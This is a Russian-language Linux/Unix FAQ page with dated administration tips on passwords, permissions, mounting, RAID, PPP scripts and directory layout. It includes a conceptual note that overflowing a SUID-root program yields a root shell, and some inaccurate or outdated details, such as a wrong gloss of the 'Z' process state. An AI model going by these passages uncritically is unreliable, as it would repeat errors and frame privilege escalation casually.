RSS

Компьютерная терминология    1_9  A  B  C  D  E  F  G  H  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  .....  A  Б  В  Г  Д  Ж  З  И  К  Л  М  Н  О  П  Р  С  Т  У  Ф  Х  Ц  Ч

  • Атрибуты файлов
  • Каталоги файловой системы Linux.
  • Настройка ppp-соединения в Linux
  • Hyper-Threading для процессоров P4 в Линуксе
  • Как установить Linux Red Hat 9, если на компьютере уже стоят WinХР и Win98.
  • Hастройкa модемного подключения с "нуля" & faq.


  • Kомпьютер не выключается
  • Как с фотоаппаратa скопировать фотографии на компьютер?
  • Kак устанавливается софт в *nix?
  • Изменились права доступа к моим файлам и каталогам?
  • Linux   
    Установка Linux
    Настройка Linux
    lilo
    Cеть в Linux
    Русификация Linux
    Midnight Commander
    BSD
    Pабота в Unix
    Linux faq
    Атрибуты файлов
    Каталоги файловой системы Linux.
    Настройка ppp-соединения в Linux
    Hyper-Threading для процессоров P4 в Линуксе
    Как установить Linux Red Hat 9, если на компьютере уже стоят WinХР и Win98
    Hастройкa модемного подключения с "нуля" & faq
    Kомпьютер не выключается
    Как с фотоаппаратa скопировать фотографии на компьютер?
    Kак устанавливается софт в *nix?
    Изменились права доступа к моим файлам и каталогам?

     

    Q. Каким образом можно восстановить или установить новый пароль пользователю в Linux’е?
    A: Это зависит от типа пользователя. Если был потерян пароль от рядового юзера, то особых проблем с его восстановлением не будет. Просто заходи в систему под рутом (для этого набери в консоли — su) и с помощью команды passwd назначай пользователю новый пароль: passwd <имя пользователя>.
    Совсем другое дело в случае потери пароля root’а. Так, если ты имеешь дело с удаленной системой, то восстановить его, скорее всего, не удастся. Если же требуется восстановить пароль на локальном компьютере, то ситуация не так критична. Перегружай машину и во время загрузки переходи к текстовой версии LILO, которая поприветствует тебя своей командной строкой. Тебе нужно получить доступ к консоли — для этого набери в командной строке «lilo single» (без кавычек). После этого остается только открывать файл с паролями с помощью текстового редактора и редактировать его: vi /etc/passwd (или /etc/shadow).
    Найди в нем запись root’а и удали все символы между вторым и третьим двоеточием.


    Q. После различных экспериментов изменились права доступа к моим файлам и каталогам. Хотелось бы восстановить все как было?
    A.
    # chown -R username:group /home/username

    # find /home/username -type d | xargs chmod 0755

    # find /home/username ! -type d | xargs chmod 0644

    Первой командой рекурсивно изменяются права доступа к твоему начальному каталогу и всем его подкаталогам. Далее с помощью конвейера и утилит find, xargs, chmod выставляются корректные значения для всех твоих файлов (-rw-r--r--) и подкаталогов (drwxr-xr-x).


    Q. Подскажите, пожалуйста, как устанавливается софт в *nix?
    A. Eсли нужно выполнить установку из сырцов, последовательность выполнения команд будет такой:

    # tar zxvf progname-version.tar.gz
    либо:
    # bunzip2 < progname-version.tar.bz2 | tar xvf -
    # cd progname-version
    # ./configure
    # make
    # make install

    Если нужно поставить rpm-пакет, выполняй:
    # rpm -Uvh progname-version.rpm
    В случае возникновения проблем с зависимостями добавляй ключик --nodeps. Для установки программы из портов:
    # cd /usr/ports/category/name
    # make install clean

    Для установки пакаджа:
    # pkg_add progname-version.tgz


    Q. Как с фотоаппаратa скопировать фотографии на компьютер?
    A: Здесь главное, чтобы ядро имело поддержку USB Mass Storage, SCSI и дополнения SCSI generic и SCSI disk. А дальше все должно пойти как по маслу. Любая камера обычно монтируется точно так же, как флеш-драйвы и висит на одном из /dev/sda#. Единственное – иногда приходится явным образом задавать файловую систему (чаще всего это vfat).

    #touch /dev/sda1

    #mount -t vfat /dev/sda1 /mnt/camera

    Определить номер sda# (замечу, что может быть /dev/sda безо всякого номера) можно либо банальным перебором, либо с помощью devfs (если таковой установлен). Для этого достаточно изучить результаты выполнения команды ls /dev до и после установки устройства.


    Q. Kомпьютер не выключается по команде shutdown -h now.Пробовал в Gentoo Linux и в OpenBSD?
    A. Возможно, твоя материнская плата либо не поддерживает, либо криво поддерживает ACPI. Хотя есть еще вариант, что при конфигурировании ядра ты отключил опции:
    Ядро ветки 2.4: General Setup --> ACPI Support --> [x] ACPI Support
    Ядро ветки 2.6: Power Management options (ACPI, APM) --> ACPI (Advanced Configuration and Power Interface) Support --> [x] ACPI Support            Также проверь, запущен ли демон acpid.

    Что касается OpenBSD, то в этой операционке до сих пор нет поддержки ACPI. Поэтому чтобы выключить компьютер, попробуй за счет модификации значения переменной machdep.apmhalt активировать специальный hack:
    # sysctl machdep.apmhalt=1
    # shutdown -hp now


    Q: Cервер на основе Gentoo Linux: как можно в автозагрузку прописать маршрут: route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1 metric 1 dev eth0.
    A: Вносить изменения нужно в файл /etc/conf.d/net:
    routes_eth1[1]="-net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1 metric 1 dev eth0"
    Добавление следующего правила осуществляется по аналогии. Нужно лишь увеличить индекс в квадратных скобках.


    Q:Linux Slackware подружить телефон и Bluetooth-адаптер, интегрированный в материнскую плату?
    A: Подробнейший HOW-TO по этому поводу,


    Q: Как можно заблокировать систему в Linux’е?
    A: Здесь нужно определиться с тем, что именно ты хочешь заблокировать. Если только X-Windows, то - утилита xlock.Если этого недостаточно, и ты хочешь запереть еще и консоль, то - vlock. Последняя может залочить как одну vty-консоль, так и все сразу. После этого разлочить систему будет возможным только после ввода пароля (ну или перезагрузки).


    Q. Hе могу удалить собственный файл, хотя с правами доступа все в порядке:
    % ls -l /home/friend/work/kursach.pdf
    -rw-r--r-- 1 me users 524926 Nov 16 21:55 /home/friend/work/kursach.pdf
    % rm -f /home/friend/work/kursach.pdf
    rm: /home/friend/work/kursach.pdf: Permission denied
    A. Действительно, бит w дает право владельцу на модификацию, переименование и удаление файла или каталога. В данном случае доступ запрещен из-за того, что пользователь friend владеет каталогом, в котором находится твой файл. Как только пользователь friend сделает тебя владельцем каталога work, ты сможешь удалить kursach.pdf.


    Q.  Как сделать дубликат файловой системы,произвести резервирование данных?
    А. Три самых простых и проверенных временем способа: с помощью cpio, tar и связки dump/restore - выбирай понравившийся.
    # cd /home; find . -xdev -depth -print | cpio -pdmu /mnt/backup
    # cd /home; tar cvf - . | (cd /mnt/backup; tar xpvf -)
    # cd /home; dump 0f - . | (cd /mnt/backup; restore -rf -)
    Предполагаю, что нужно забэкапить весь /home в /mnt/backup.


    Q. В настоящее время существует столько журналируемых файловых систем: ext3fs, reiserfs, xfs, jfs..?
    A. Нельзя однозначно ответить на этот вопрос. У каждой из перечисленных файловых систем есть свои преимущества и недостатки. Все зависит от конкретных задач. Пример: архаичная и тормозная ext2fs с разряженными файлами (почтовые файлы типа mbox) работает значительно быстрее, чем ультрасовременная и шустрая reiserfs. Лично я предпочитаю делать загрузочный раздел /boot на ext3fs, а для остальных разделов использую reiserfs. Кстати, за счет отключения записи времени доступа для каждого объекта файловой системы и отказа от tail packing’а («упаковки хвостов») можно еще немного повысить быстродействие reiserfs:
    # vi /etc/fstab
    /dev/hdd1 /var/squid reiserfs noatime,notail 0 0


    Q. Захотелось попробовать оболочку Korn Shell. Но по какой-то причине с помощью стрелок вверх и вниз я не могу получить доступ к истории команд?
    A. Все дело в типе терминала и используемой комбинации клавиш. В файле ~/.profile установи значение переменной окружения TERM равным linux, xterm, xterm-color или wsvt25, а также задай редактирование командной строки в стиле emacs:
    % vi ~/.profile
    export TERM=xterm-color
    set -o emacs


    Q. Hовый винт: как можно померить его производительность в Unix.
    A. Перво-наперво посмотри на вывод команды dmesg. Верно ли ядро распознало новое устройство, правильно ли установило режимы работы, например UDMA-режим, если это IDE'шный хард. Простейший бенчмаркинг можно произвести вот таким образом:
    % dd if=/dev/hdb of=/dev/null bs=64k count=500
    Специализированный тестинг выполняется с помощью утилиты IOzone Filesystem Benchmark.


    Q. Когда я копирую из NTFS на линуксовый раздел, права доступа к файлам автоматически изменяются на +x?
    A. Выполняй в терминале:
    % find . -type f -print0 | xargs -0 chmod 644; find . -type d -print0 | xargs -0 chmod 755
    Чтобы постоянно не вводить такую длинную комбинацию, можешь создать для оболочки следующий псевдоним:
    $ vi ~/.bashrc
    alias myfix='find . -type f -print0 | xargs -0 chmod 644; find . -type d -print0 | xargs -0 chmod 755'


    Q.Как установить Linux Red Hat 9, если на компьютере уже стоят WinХР и Win98?
    A.Сначала определитесь с разделами. Понадобятся только два. Хотя сам я делаю значительно больше. Вооружайтесь Partition Magic или другим удобным для Вас инструментом. Раздел первый: swap, он же раздел подкачки. Располагаем как можно ближе к началу физического диска. Размер порядка 3*R, где R - объем оперативной памяти. Поскольку сталкивался с проблемой некоторой кривизны Partition Magic 7 с работой с файловыми системами отличными от FAT и NTFS, просто выделите участок - раздел создаст установка Linux. Раздел второй - корневой. Здесь объем целиком и полностью зависит от того, зачем Вам нужен Linux. Файл/Web/БД-сервер вполне возможно "уложить" в 300-500 мегабайт + объем файлов/сайтов/баз. Установка а-ля офис может занять около 2 гигабайт. И пусть объем Вас не смущает - это не голая операционка, это готовое рабочее место. Полная установка Red Hat 9, насколько я помню, легко укладывалась в 10 Г вместе со свопом и хорошим запасом под рабочие файлы.
    Есть, правда, еще один момент, столкнулся только на древней домашней машине (i440BX, Award 4.51). Linux-загрузчики отказывались запускать ОСи, если загрузочные области таковых находились далее 2 Гб от начала диска. Решение было таким: сначала диска создал "загрузочную дискетку" Windows в 100 мегабайт (диск C:, FAT16), затем "дискетку" Linux, 50 мегабайт, Ext2, точка монтирования /boot. Далее все остальное. Windows ставил на второй раздел Fat32 (D:). Не идеально. До сих пор раздражает неиспользуемый C: Можно, в принципе, увеличить C: до 2Г - 50 М = 1988 М и "втискивать" Windows туда, заодно несколько облегчая себе задачу по ее переустановке (format c: /q).
    Далее грузимся с Linux-диска и следуем инструкциям. Не соглашаемся на готовые варианты, ибо рискуем убить Windows'ы. Только выборочная установка. В процессе выбора разделов создаем swap и ext3 раздел. Для последнего точка монтирования - /. Загрузчик я устанавливаю в MBR, использую GRUB (можно и LILO - дело вкуса). Аккуратно выбираем пакеты для установки. Вам нужны отладочная версия ядра, NTP-сервер и поддержка корейского для KDE?
    Подробно, но несколько легкомысленно процесс установки описан в прилагаемой к дистрибутиву HTML-документации. Ознакомьтесь, пожалуйста. Основным же источником знаний может стать The Linux Documentation Project. Правда, большая часть документации там на английском, но самые важные FAQ и HOWTO переведены на многие языки (в том числе и на русский).


    Q.Чем можно зажечь болванку?
    A: CD-записывающего софта сейчас под Linux полно, однако реальной альтернативы виндовскому NERO я пока не встречал. Возможно, это дело времени, но на данный момент придется довольствоваться тем, что есть, а самым лучшим вариантом сейчас, пожалуй, является программа CDBakeOven (500kb, cdbakeoven.sourceforge.net). Утилита обладает очень удобным и интуитивно понятным интерфейсом, легка в установке, стабильна (ни одной болванки я не испортил) и функциональна. Более того, CDBakeOven работает с огромным количеством CDRW-приводов, а также поддерживает multisessions. В общем, советую именно ее, однако, если она чем-то тебя не устроит или откажется работать с твоим железом, то можно взглянуть в сторону GNOME Toaster (gnometoaster.rulez.org), X-CD-Roast (www.xcdroast.org) и KOnCD (www.koncd.org). Для корректной работы иногда требуется установить новое ядро (если оно у тебя совсем древнее) и новую версию программы cdrecord (www.fokus.gmd.de/research/cc/glone/employees/joerg.schilling/private/cdrecord.html).


    Q: Я слышал, что ISO-образ CD можно примонтировать в Linux-е как CDROM. Каким образом?
    A: Да, еще один плюс пингвина перед окнами. Делается все очень просто знакомой тебе командой mount: mount /путь к ISO /mnt/cdrom -t iso9660 -o loop,ro


    Q: Помоги настроить мою linux-based ось для реализации поддержки RAID-массива. Имеется ли в Линуксе поддержка RAID`а по умолчанию? Если нет - какие патчи следует установить?
    A: Большинство современных дистрибутивов поставляются с ядрами семейства 2.4, на которых по умолчанию установлены все необходимые патчи. Поэтому шанс того, что патчить ничего не придется, довольно велик. Развеять сомнения поможет команда «cat/proc/mdstat».
    Personalities: [linear] [raid0] [raid1] [raid5] [translucent]

    read_ahead not set
    unused devices: <none>
    Если в ответ ты получишь что-то вроде этого, то можешь ни о чем волноваться, т.к. поддержка RAID уже имеется. В противном случае выходов два: либо апдейтить ядро (все необходимое есть на любом CD нашего журнала), либо патчить его. Установить их не составляет особого труда:
    1. Распакуй скачанное в какую-нибудь директорию – к примеру, /usr/src/linux.
    2. В консоли введи: «patch -p1 /path/to/raid-version.patch».
    3. Пересобери ядро, набрав «make menuconfig».
    Теперь операционная система для работы с RAID`ом готова – пора настраивать специальный софт. Наиболее популярными являются два набора утилит – mdadm, что поновее, и raidtools. Оба имеют схожую функциональность и комплектуются хорошими мануалами (с установкой разбираться будешь сам). Я бы порекомендовал остановиться на первом. Почему? Дело в том, что он значительно проще в установке и использовании. С тем же raidtools`ом у меня возникло немало проблем: даже во время компиляции то и дело возникали непонятные ошибки, которые впоследствии, правда, сами собой (!) «испарились».


    Q.Где же должен правильно располагаться swap раздел, если винт разбит на 3 логических ,два из них подХР?
    A.Расположение SWAP-раздела большого значения не имеет, но желательно его располагать ближе к началу жесткого диска - в этом случае работать запись и считывание информации с этого раздела будет происходить быстрее.


    Q: Что обозначают параметры напротив каждого из процессов, данные о которых получены командой «ps –aux»?

    A: < - процесс находится в приоритетном режиме;

    L - real-time процесс, часть данных находятся в памяти;

    N - процесс имеет низкий приоритет;

    R – процесс, выполняемый в настоящее время;

    S - процесс «спит»;

    Z – процесс, не имеющий родителя;

    T - процесс остановлен;

    W - процесс находится в свопе;

    Получить более подробную информацию можно, набрав команду «man ps».


    Q: Как в Линуксе активизировать технологию Hyper-Threading для процессоров Pentium 4?

    A: Поддержка новомодной технологии от Intel появилась еще в 2.4.17 версии ядра. Первоначально соответствующий модуль был, мягко говоря, сыроват, но сейчас его отшлифовали и довели до ума. Включить Hyper-Threading несложно. Достаточно собрать ядро как SMP и при загрузке задать необходимые параметры:

    acpismp=force либо append="acpismp=force"

    А чтобы проверить его работу, набери эту команду:

    cat /proc/cpuinfo

    В случае когда среди флагов (flags) присутствует ключевое слово HT, знай – поддержка Hyper-Threading включена.


    Q.Как узнать размер каталога, состоящего из файлов и вложенных каталогов? Команда ls этого не умеет. Как это сделать в МС?
    A.Команда du
    du . -s


    Q.Как поставить Linux на второй винт (mobile rack)? Хочется грузиться так: включил питание рэка - грузится линукс, выключил ключиком рэк - все грузится как сейчас по виндовому выбору, 98-я или ХР. Сейчас рэк стоит слэйвом на секондари, но без проблем переставить слэйвом на праймэри. Не хотелось бы трогать виндусовые загрузчики.
    A.Делаешь загрузку с рэкового диска, а потом с основного. При установке Linux, выбираешь установить загрузчик в /dev/hdb, если rack перенесешь на Primary Slave или в /dev/hdd если оставишь на Secondary Slave.


    Атрибуты файлов

    Все файлы в любом unix имеют помимо прав доступа (комбинации г, w, x) еще и атрибуты: sticky bit, suid/sgid и блокирование.

    sticky bit - в современных осях практически не используется, но раньше юзался для уменьшения времени загрузки наиболее часто запускаемых программ. Механизм действия таков: после завершения программы ее образ остается в памяти, и последующие запуски программы производятся быстрее.

    suid/sgid - это то, что нас больше всего интересует. Эти атрибуты (или флаги) позволяют менять привилегии с текущего пользователя на владельца файла. Например, у тебя есть некая программа, на которой стоит SUID-флаг, владелец и группа файла - root. Если пользователь запустит такую программу, то процесс будет работать с правами рута. Интересно еще и то, что процессы, порожденные из такого "суидного" файла, также наследуют рута. И что же получается? А то, что если переполняется буфер в стеке суидной программы, то, в принципе, ты можешь сделать нечто незапланированное в программе на root-уровне.

    Из всех атрибутов в нашем случае важны suid/sgid. Почему? Потому что ты можешь, находясь в пользовательском процессе, юзать переполнение в стеке любой суидной программы и получить, скажем, новый шелл, но уже с root-привилегиями. Вот именно для этого и пишутся специальные куски кода, которые делают такие вещи.

    Третий атрибут - блокирование. Он позволяет устранить проблему возникновения конфликтов в том случае, когда с данным файлом работают несколько задач одновременно.


    Filesystem Hierarchy Standard. (FHS) [ by -=zip=- ]
    ------------------------------------
    В этой статье я хотел попытаться разобраться с файловой структурой Linux. То есть это стандарт для всех Unix-подобных систем. В следующей статье я попытаюсь рассказать о файлах в этих дирах и, что для чего нужно редактировать. Гляди,может и HOWTO получится. :)
    ================================
    Каталоги файловой системы Linux.
    ================================
    / Начало начал (то есть корень системы).
    /boot Содержит файлы образа ядра и модули, загружаемые при загрузке системы.
    /home Содержит начальные каталоги пользователей.
    /sbin Содержит команды администрирования и команды, используемые привилегированным пользователем.
    /dev Содержит файлы устройств, например терминала принтера.
    /etc Содержит конфигурационные и другие важные системные файлы.
    /bin Содержит важные пользовательские команды и утилиты.
    /lib Содержит важные совместно используемые библиотеки и модули ядра.
    /mnt Содержит каталоги для монтирования файловых систем временно используемых накопителей, таких как компакт-диски и дискеты.
    /opt Содержит добавляемые приложения (например, в некоторых дистрибутивах включает KDE).
    /proc Каталог процессов - резидентно хранящийся в памяти каталог с файлами, содержащими информацию о системе.
    /tmp Содержит временные файлы.
    /usr Содержит файлы и команды, используемые системой. (дальше будет более подробно).
    /var Содержит постоянно изменяющиеся файлы, например файлы почтовых ящиков.
    =========================
    Подкаталоги каталога /usr
    =========================
    /usr/bin Содержит большинство пользовательских команд и утилит.
    /usr/sbin Содержит не самые важные административные приложения.
    /usr/lib Содержит библиотеки для приложений, языков программирования, рабочих столов и т.п.
    /usr/game Содержит игры и обучающие программы.
    /usr/includes Содержит файлы заголовки языка программирования C (.h)
    /usr/local Каталог для программного обеспечения, установленного
    на локальной машине (все что инсталлируется пользователем).
    /usr/share Содержит архитектурно не зависимые данные, общие для различных систем. Например, к ним относятся страницы электронной документации, такие как Man и info.
    /usr/src Содержит исходный код, включая исходный код ядра.
    /usr/X11R6 Содержит приложения и библиотеки для X Window System (версия 11, редакция 6)
    =========================
    Подкаталоги каталога /var
    =========================
    /var/account Содержит журнал регистрации процессов.
    /var/cache Содержит кешируемые данные приложений для man-страниц,данные прокси сервера, шрифты и данные, специфические для приложений.
    /var/crash Содержит дампы системных сбоев.
    /var/games Содержит данные игр.
    /var/lib Содержит файлы с информацией о состоянии конкретных приложений.
    /var/local Используется для изменяющихся данных программ,установленных в каталог /usr/local.
    /var/lock Содержит файлы блокировки, позволяющие определить,используется ли в данный момент конкретный файл или программа.
    /var/log Содержит такие файлы журналов, как /var/log/messages, в котором хранится все сообщения ядра и системных программ.
    /var/mail Содержит файлы почтовых ящиков пользователей.
    /var/opt Содержит часто изменяющиеся данные приложений,установленных в каталоге /opt.
    /var/run Содержит файлы с информацией о работающих в системе процессах.
    /var/spool Буферные каталоги приложений, например данные электронной почты, новостей, очередей печати, а также программ cron и al.
    /var/tmp Содержит временные файлы, которые должны сохраняться между перегрузками системы.
    /var/yp Содержит файлы данных Network Information Service (NIS).
    ==================================
    Подкаталоги и файлы каталога /proc
    ==================================
    /proc/pid Такой каталог имеется для каждого процесса (pid -это номер процесса). Например, процессу с pid'ом 1
    соответствует каталог /proc/1.
    /proc/cpuinfo Информация о центральном процессоре: его тип,производитель, модель, производительность , т.п.
    /proc/device Список драйверов устройств, сконфигурированных для использования работающим в данный момент ядром.
    /proc/dma Применяемые в данный момент каналы прямого доступа к памяти (DMA).
    /proc/filesystems Файловые системы ядра.
    /proc/interrupts Используемые прерывания.
    /proc/ioports Используемые порты ввода/вывода.
    /proc/kcore Содержат образ (дамп) физической памяти системы.
    /proc/kmsg Сообщения, генерируемые ядром.
    /proc/ksyms Таблица символов для ядра.
    /proc/loadavg "Средняя загрузка" системы.
    /proc/meminfo Информация об использовании памяти.
    /proc/modules Список загруженных в данный момент модулей ядра.
    /proc/net Информация о состоянии сетевых протоколов.
    /proc/stst Статистика работы системы, включающая такие параметры, как количество неудачных обращений к
    страницам.
    /proc/uptime Время работы системы
    ---------------------------------------------------------------------------------
    Книга: Ричард Петерсон "Энциклопедия linux" - советую прочитать всем и каждому :)
    ---------------------------------------------------------------------------------


    2.02.2003       Настройка ppp-соединения в Linux

    Хотя в Интернете достаточно много информации о подключении Linux к Интернет, используя модем и протокол ppp, все же у многих это вызывает определенные трудности. Попробуем их разрешить.
    Самый простой способ подключения - использование kppp. Все, что от вас требуется - это указать телефон провайдера, свое имя и пароль и нажать кнопку connect. После этого можете спокойно погружаться в глубины Всемирной Паутины.
    Если же у вас не нет библиотеки Qt, необходимой для работы kppp или вы хотите получить полный контроль, тогда можно настраивать соденинение руками с помощью скриптов. Для этого в любом текстовом редакторе создаем файл ppp-on, который будет соединяться в провайдером.

       cd /etc/ppp
       vim ppp-on
    
       #!/bin/bash
    
       TEL=12345
       DIALER=/etc/ppp/ppp-on-dialer
       MODEM=/dev/modem
       SPEED=115200
       PROV=provider
    
       if [ "$1" = "" ]; then
            USER=default_user
       else
            USER=$1
       fi
    
       /usr/sbin/pppd $MODEM $SPEED modem lock      \
            connect "$DIALER $TEL" persist holdoff 5\
            user $USER remotename $PROV             \
            defaultroute noipdefault debug          \   

    TEL - телефон вашего провайдера
    DIALER - скрипт дозвона
    MODEM - порт, на котором находится модем
    SPEED - скорость обмена модема с портом
    PROV - имя вашего провайдера

    default_user - имя пользователя по умолчанию, если у вас только один аккаунт, то можно убрать строки

       if [ "$1" = "" ]; then
            USER=default_user
       else
            USER=$1
       fi   

    и написать

       USER=username
       

    Теперь необходимо создать скрипт, который будет непосредственно дозваниваться до провайдера

       vim ppp-on-dialer
       #!/bin/bash
    
       exec chat -v                         \
            ABORT           "ERROR"         \
            ABORT           "NO DIALTONE"   \
            TIMEOUT         30              \
            ""              "AT"            \
            "OK"-"+++"-""   "AT"            \
            "OK"            "ATZ"           \
            ABORT           "VOICE"         \
            ABORT           "NO ANSWER"     \
            ABORT           "NO CARRIER"    \
            ABORT           "BUSY"          \
            OK              "ATDP$1"        \
            TIMEOUT         200             \
            CONNECT         "\\c"           \
            ":"             "\\c"   

    И последним штрихом будет скрипт разрыва связи

       vim ppp-off
       #!/bin/bash
    
       DEVICE=ppp0
    
       if [ -r /var/run/$DEVICE.pid ]; then
            kill -INT `cat /var/run/$DEVICE.pid`
    
            if [ ! "$?" = "0" ]; then
                    rm -f /var/run/$DEVICE.pid
                    echo "pppd not running"
                    exit 1
            fi
    
            echo "$DEVICE is stopped"
            exit 0
       fi
    
       echo "$DEVICE not active"
       exit 1 

    Теперь осталось только настроить аккаунты. Для этого в файле /etc/ppp/pap-secrets пишем:

       username     provider        password

    для каждого аккаунта, где
    username - ваш логин
    provider - имя вашего провайдера, которое мы определили в файле /etc/ppp/ppp-on
    password - ваш пароль.

    Все значения должны быть разделены символами табуляции, а значения для каждого аккаунта начинаться с новой строки.

    Теперь для установки ppp-соединения с вашим провайдером необходимо в командной строке набрать /etc/ppp/ppp-on username, для отключения - /etc/ppp/ppp-off.

    После того как вы убедитесь, что все скрипты работают как надо, можно поэкспериментировать. Например, вы хотите вести статистику ваших соединений. Для этого необходимо создать файл /etc/ppp/ip-up.local и написать в нем:

       #!/bin/bash
    
       HISTORY=/etc/ppp/ppp-history
    
       echo `date` $4 $5 ppp-on >> $HISTORY
    
       exit 0
       

    А в файле /etc/ppp/ip-down.local:

    
       #!/bin/bash
    
       HISTORY=/etc/ppp/ppp-history
    
       echo `date` ppp-off >> $HISTORY
    
       exit 0

    Вот и все, что может понадобиться для начала. В следующих статьях я продолжу тему Интернета и напишу про настройку программ для работы с почтой. Не забывайте, что в ОС Линукс существуют такие замечательные команды как man,info etc.


    Q: Как перейти с файловой системы ext2 на ext3?

    A: Для начала следует проверить, держит ли ядро ext3, и лишь потом приступать к конвертированию, провести которое очень просто:

    tune2fs -j /dev/xxx

    tune2fs -c0 -i0 /dev/xxx

    Напоследок следует поменять ext2 на ext3 в /etc/fstab и перегрузиться.


    Q: Помогите! У меня стоит RH 7.2, ядро 2.4.18-3, звук SB Audigy. Я долго мучался с поиском драйвера на звуковую карту и, в конце концов, нашел Open Sound System (OSS). С ними все работало просто на ура. Три часа! А потом драйвера потребовали лицензию. Сколько я не бился, но крякнуть эту чудо мне не удалось. Может, чего подскажешь?

    A:Не парься ты с этим OSS. Никаких лицензий и никакого геморроя с настройкой. По крайней мере, у меня SB Audigy с теми и с другими работала на все 100%.


    Не могу найти дрова на момед Genius GM56PCI-LA под Mandrake. Если кто знаешь, где слить, подскажите please - век благодарен буду!

    A: Самый распространенный вопрос по *nix-ам. Отвечаю в последний раз: все драйвера winmodem’ов под *nix.Более того, последние версии ядра поддерживают некоторые из винмодемов и без специальных дров.


    Q: Как в linux’е сделать так, чтобы компьютер не отвечал на пинг?

    A: Просто набери в консоли «echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all». Если потребуется обратно включить: «echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all».


    10.03.2003    Unix FAQ:
    1. Как монтировать CD-ROM диски и дискеты не набирая каждый раз длинных строчек ?

    2. Как инсталировать и деинсталировать софт с помощью RPM ?

    3. Как сделать чтобы после входа в систему с определенной консоли запускались Х-ы ?

    4. Как монтировать FATxx, чтобы были русские имена и файлы были не исполняемыми ?

    5. Какую видеокарту выбирать при покупке, чтобы c Х-ами проблем не было ?

    6. Как установить Linux на UDMA66 винт подключенный к UDMA66 контролеру ?

    7. Как правильно чистить /tmp ?

    8. Как отключить сохранение дампа памяти при сбоях ?

    9. Как запретить загрузку со специальными параметрами ?

    10. Как отформатировать дискету ?

    11. Как примонтировать CD, чтобы файлы были с правами -r--r--r-- ?

    12. Как заставить работать win-модем под Линуксом ?

    13. Kак пpавильно чистить логи ?

    14. Как сделать, чтобы ls --color был по умолчанию ?

    15. Как по core оределить ее автора ?

    16. Как узнать, что находится в памяти ?

    17. Как убрать beep'ы компьютера ?

    18. Как удалить файл командой rm у которого перевый символ имени «-» ?

    19. Как русифицировать консольный редактор joe ?

    20. Как включить мышку под левую руку ?

    21. Linux не видит все 128 Mb RAM (только 64). Как заставить видеть остальное ?

    22. Как поставить на один HDD: Win98, Win2000, FreeBSD и Linux ?

    23. Как сделать красивое приглашение в bash ?

    24. Как заставить SAMBA понимать по русски ?

    25. Как заставить работать звуковуху на кодеке AC97 (VIA8233) ?

    26. У меня не запускаются Х-ы не от root'а в Debian 3.0r0. Что делать ?

    27. Как создать iso-образ ?

    28. Как примонтировать iso-образ в FreeBSD 5.x ?

    Q: Как монтировать CD-ROM диски и дискеты не набирая каждый раз длинных строчек ?
    A: Файл $HOME/.bashrc :
    alias cdrom="mount -t auto /dev/hdb /mnt/cdrom"
    alias ucdrom="umount /mnt/cdrom"
    alias floppy="mount -t auto /dev/hd0 /mnt/floppy"
    alias ufloppy="umount /mnt/floppy"

    Теперь достаточно набрать cdrom — для монитрования CD-ROM'а, ucdrom — для размонитрования CD-ROM'а, floppy — для монитрования дискеты и ufloppy — для размонитрования дискеты.

    Q: Как инсталировать и деинсталировать софт с помощью RPM ?
    A: Install: rpm -ivh desired_program.rpm
    Uninstall: rpm -e desired_program.rpm
    Upgrade: rpm -Uvh desired_program.rpm
    Info: rpm -qip desired_program.rpm
    Полезные ключи:
    --force — забить на сообщения
    --nodeps — не проверять зависимости
    --replacefiles — заменять все старые файлы на новые не переименовывая их в .rpmsave

    Q: Как сделать чтобы после входа в систему с определенной консоли запускались Х-ы ?
    A: Файл $HOME/.bash_profile :
    if [ ! -r /tmp/.X0-lock ] && [ `tty` = '/dev/ttyN' ]; then
    startx
    fi
    где N - номер консоли.

    Q: Как монтировать FATxx, чтобы были русские имена и файлы были не исполняемыми ?
    A: Linux: чтобы были русские имена, необходимо при компиляции ядра не забыть добавить поддержку Native Language Support (NLS).
    make [x,menu]config =>
    CONFIG_FAT_FS=y
    CONFIG_NLS=y
    CONFIG_NLS_CODEPAGE_866=y
    CONFIG_NLS_KOI8_R=y
    CONFIG_MSDOS_FS=y
    CONFIG_VFAT_FS=y

    Монтировать директории с FATxx следует так:
    mount -t vfat -o user,codepage=866,iocharset=koi8-r,noexec,conv=auto /dev/xxx /xxx
    или просто добавить в файл /etc/fstab строку:
    /dev/xxx /xxx vfat user,codepage=866,iocharset=koi8-r,noexec,conv=auto 0 0
    FreeBSD: добавить в файл /etc/fstab строку:
    /dev/sd0s1 /dos/c msdos rw,-W=koi2dos,-L=ru_RU.KOI8-R 0 0
    детальное описание опций -W и -L смотрите в mount_msdos (8)

    Q: Какую видеокарту выбирать при покупке, чтобы c Х-ами проблем не было ?
    A: В принципе, если карта поддерживает стандарт VESA2 — то по идее проблем с графикой вообще не должно быть — включаем frame buffer и в качестве X-сервера выбираем XServ_FBDev
    Хорошо бы на чипе той фирмы, которая сама пишет драйвы (Х-сервера) для видеокарт. Например, NVidia.

    Q: Как установить Linux на UDMA66 винт подключенный к UDMA66 контролеру ?
    A: См. «Linux+UDMA66».

    Q: Как правильно чистить /tmp ?
    A: В дистрибутиве RedHat и основанных на нем для этого существует утилита tmpwatch, которая обычно запускается cron'ом. Для отчистки /tmp можно рубить так:
    tmpwatch 1 /tmp

    Q: Как отключить сохранение дампа памяти при сбоях ?
    A: В файл $HOME/.bash_profile добавьте строку:
    ulimit -c 0

    Q: Как запретить загрузку Linux со специальными параметрами ?
    A: Можно поставить пароль на загрузку со специальными параметрами. В /etc/lilo.conf добавляем в соответствующем разделе:
    restricted password=MyPassword

    Q: Как отформатировать дискету ?
    A: fdformat /dev/fd0H1440
    mkfs -t fat16 -m 0 /dev/fd0H1440 1440


    Q: Как примонтировать CD, чтобы файлы были с правами -r--r--r-- ?
    A: Linux:
    mount -t iso9660 -o ro,noexec,mode=0444,iocharset=koi8-r /dev/cdrom /mnt/cdrom

    Q: Как заставить работать win-модем под Линуксом ?
    A: См. HOWTO/Winmodems-and-Linux-HOWTO.html

    Q: Kак пpавильно чистить логи ?
    A: cat /dev/null > log_file
    Eсли просто удалить лог, он yдалится только в каталогe. Hа дискe он удалится только тогда, когда файл закpоют. Полyчаeм ситyацию, когда файл для логов eсть, а syslogd в нeго нe пишeт. Поэтомy лог надо чистить так, чтобы обнyлить (yкоpотить) yжe откpытый файл, а нe создавать новый.

